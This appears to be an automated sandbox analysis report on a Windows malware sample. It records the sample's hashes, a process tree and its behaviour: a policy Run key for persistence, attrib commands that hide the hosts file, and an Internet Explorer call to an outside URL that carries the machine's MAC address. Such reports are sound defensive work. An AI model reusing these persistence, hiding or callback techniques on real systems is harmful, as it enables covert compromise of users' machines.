Analysis
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max time kernel
208s -
max time network
224s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
31/12/2023, 02:22
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
24580acb3741ce746e97741dac9984d2.exe
Resource
win7-20231129-en
windows7-x64
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
24580acb3741ce746e97741dac9984d2.exe
Resource
win10v2004-20231215-en
windows10-2004-x64
12 signatures
150 seconds
General
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Target
24580acb3741ce746e97741dac9984d2.exe
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Size
504KB
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MD5
24580acb3741ce746e97741dac9984d2
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SHA1
f433c2d4fe79afba2d92fcd28b50ddb02a903711
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SHA256
e0a67a922e431a8e75d113a8583da96032f885eb0de4ff8e88752d30f33c3a5d
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SHA512
763228ae822e2cd31719e5e6cdf66468dfdfb2976e5d7489234018f08f23e7f6dfcbc1e3b6f80c9d549b71ce77cb9f95b95b11bb5cab0c815f55bd82e1d62a74
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SSDEEP
12288:7vW1Ezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz4:7e1Ezzzzzzzzzzzzzzzzzzzzzzzzzzzs
Score
8/10
Malware Config
Signatures
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Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run 24580acb3741ce746e97741dac9984d2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\qq100000 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\24580acb3741ce746e97741dac9984d2.exe" 24580acb3741ce746e97741dac9984d2.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts 24580acb3741ce746e97741dac9984d2.exe -
Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 4816 attrib.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\win.ini 24580acb3741ce746e97741dac9984d2.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "2958429905" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Internet Explorer\GPU IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31080337" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Internet Explorer\VersionManager iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2958429905" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\"" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31080337" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{D7A62CC1-AB84-11EE-B7F4-4E55496B34AD} = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "411194755" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: 33 2436 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 2436 AUDIODG.EXE -
Suspicious use of FindShellTrayWindow 41 IoCs
pid Process 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 4952 iexplore.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe -
Suspicious use of SendNotifyMessage 39 IoCs
pid Process 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe 1604 24580acb3741ce746e97741dac9984d2.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 4952 iexplore.exe 4952 iexplore.exe 4884 IEXPLORE.EXE 4884 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 1604 wrote to memory of 3540 1604 24580acb3741ce746e97741dac9984d2.exe 94 PID 1604 wrote to memory of 3540 1604 24580acb3741ce746e97741dac9984d2.exe 94 PID 1604 wrote to memory of 3540 1604 24580acb3741ce746e97741dac9984d2.exe 94 PID 1604 wrote to memory of 4816 1604 24580acb3741ce746e97741dac9984d2.exe 95 PID 1604 wrote to memory of 4816 1604 24580acb3741ce746e97741dac9984d2.exe 95 PID 1604 wrote to memory of 4816 1604 24580acb3741ce746e97741dac9984d2.exe 95 PID 1604 wrote to memory of 4952 1604 24580acb3741ce746e97741dac9984d2.exe 104 PID 1604 wrote to memory of 4952 1604 24580acb3741ce746e97741dac9984d2.exe 104 PID 4952 wrote to memory of 4884 4952 iexplore.exe 106 PID 4952 wrote to memory of 4884 4952 iexplore.exe 106 PID 4952 wrote to memory of 4884 4952 iexplore.exe 106 PID 1604 wrote to memory of 3488 1604 24580acb3741ce746e97741dac9984d2.exe 54 PID 1604 wrote to memory of 3488 1604 24580acb3741ce746e97741dac9984d2.exe 54 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 3540 attrib.exe 4816 attrib.exe
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3488
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C:\Users\Admin\AppData\Local\Temp\24580acb3741ce746e97741dac9984d2.exe"C:\Users\Admin\AppData\Local\Temp\24580acb3741ce746e97741dac9984d2.exe"2⤵
- Adds policy Run key to start application
- Drops file in Drivers directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1604 -
C:\Windows\SysWOW64\attrib.exeattrib -s -h "C:\Windows\system32\drivers\etc\hosts"3⤵
- Views/modifies file attributes
PID:3540
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C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\Windows\system32\drivers\etc\hosts"3⤵
- Sets file to hidden
- Views/modifies file attributes
PID:4816
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C:\program files\internet explorer\iexplore.exe"C:\program files\internet explorer\iexplore.exe" "http://www.2009qqvip.com/qqsj/install.asp?ver=090106&tgid=huan&address=4E-55-49-6B-34-AD®k=1&flag=f37e891f0bafb2b8f0c4e1299de58d0a&frandom=6904"3⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4952 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4952 CREDAT:17410 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:4884
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C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x50c 0x4481⤵
- Suspicious use of AdjustPrivilegeToken
PID:2436
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
17KB
MD55a34cb996293fde2cb7a4ac89587393a
SHA13c96c993500690d1a77873cd62bc639b3a10653f
SHA256c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad
SHA512e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee